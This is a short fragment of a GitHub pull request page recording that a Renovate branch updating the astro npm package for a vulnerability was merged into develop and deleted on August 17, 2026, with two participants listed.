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Docs preview removed (PR closed).

@NiklasRosenstein
NiklasRosenstein merged commit 8efc484 into develop Aug 17, 2026
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@NiklasRosenstein
NiklasRosenstein deleted the renovate/npm-astro-vulnerability branch August 17, 2026 13:27
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2 participants

@NiklasRosenstein @claude